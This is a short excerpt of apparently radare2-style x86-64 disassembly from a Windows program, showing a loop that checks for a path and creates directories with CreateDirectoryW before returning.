mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 1
jle 0x140012529
lea rcx, [rbp + 8]
call fcn.1400111d1
mov rcx, rax
call fcn.140011145
movzx eax, al
test eax, eax
jne 0x140012529
lea rcx, [rbp + 8]
call fcn.1400111d1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140012529
xor al, al
jmp 0x140012545
movzx edx, word [rbp + 0x18]
lea rcx, [rbp + 8]
call fcn.140011064
nop
jmp 0x140012466
mov rcx, qword [rbp + 0x70]
call fcn.140011145
lea rsp, [rbp + 0x60]
pop rbp
ret